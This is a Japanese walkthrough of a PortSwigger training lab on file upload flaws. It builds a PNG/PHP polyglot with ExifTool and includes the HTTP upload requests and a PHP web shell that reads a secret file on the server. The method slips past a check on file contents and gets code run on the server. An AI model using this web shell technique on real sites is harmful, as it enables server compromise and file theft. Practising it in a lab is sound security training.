ポリグロットWeb Shell アップロードによるリモートコード実行

26 of 35 ラボ

https://portswigger.net/web-security/learning-paths/file-upload-vulnerabilities/flawed-validation-of-the-file-s-contents/file-upload/lab-file-upload-remote-code-execution-via-polyglot-web-shell-upload

1. デフォルトリクエスト

POST /my-account/avatar HTTP/2
Host: 0a6700fc03049b368000217e001d00ed.web-security-academy.net
Cookie: session=efUMh50kz9cCDfpO9SErNpqjec2epZfp
~省略~
------WebKitFormBoundarys7SzOdZyjdf9UAAx
Content-Disposition: form-data; name="avatar"; filename="hacker.png"
Content-Type: image/png

�PNG
~バイナリのため省略~

デフォルトアップロード先:

<img src="/files/avatars/hacker.png" class="avatar">

テスト用WebShell

<?php echo file_get_contents('/home/carlos/secret'); ?>

2. 改ざん1

POST /my-account/avatar HTTP/2
Host: 0a6700fc03049b368000217e001d00ed.web-security-academy.net
Cookie: session=efUMh50kz9cCDfpO9SErNpqjec2epZfp
~省略~
------WebKitFormBoundaryFaR7iNBYy39Qlp1w
Content-Disposition: form-data; name="avatar"; filename="webshell1.php"
Content-Type: application/octet-stream

<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundaryFaR7iNBYy39Qlp1w

"Error: file is not a valid image Sorry, there was an error uploading your file."

3. ExifTool によるポリグロットファイルの作成

GitHub - exiftool/exiftool: ExifTool meta information reader/writer

$ sudo apt install libimage-exiftool-perl
$ exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" hacker.png -o polyglot.php
    1 image files created
$ ls -l hacker.png
-rw-r--r-- 1 demandosigno demandosigno 234685 Nov  2 18:26 hacker.png
$ file hacker.png
hacker.png: PNG image data, 718 x 718, 8-bit/color RGBA, non-interlaced

$ exiftool polyglot.php
ExifTool Version Number  : 12.40
File Name                : polyglot.php
~略~
File Type                : PNG
File Type Extension      : png
MIME Type                : image/png
~略~
Comment                  : <?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>

4. 改ざん2:作成した polyglot.php をフォームからアップロードする。

------WebKitFormBoundaryZ9jO6j6wTUv8H9sA
Content-Disposition: form-data; name="avatar"; filename="polyglot.php"
Content-Type: application/octet-stream

�PNG
~省略~StEXtComment<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>~省略~

アップロード先:

<img src="/files/avatars/polyglot.php" class="avatar">

START と END の間の文字列が答え。

/* -----codeの行番号----- */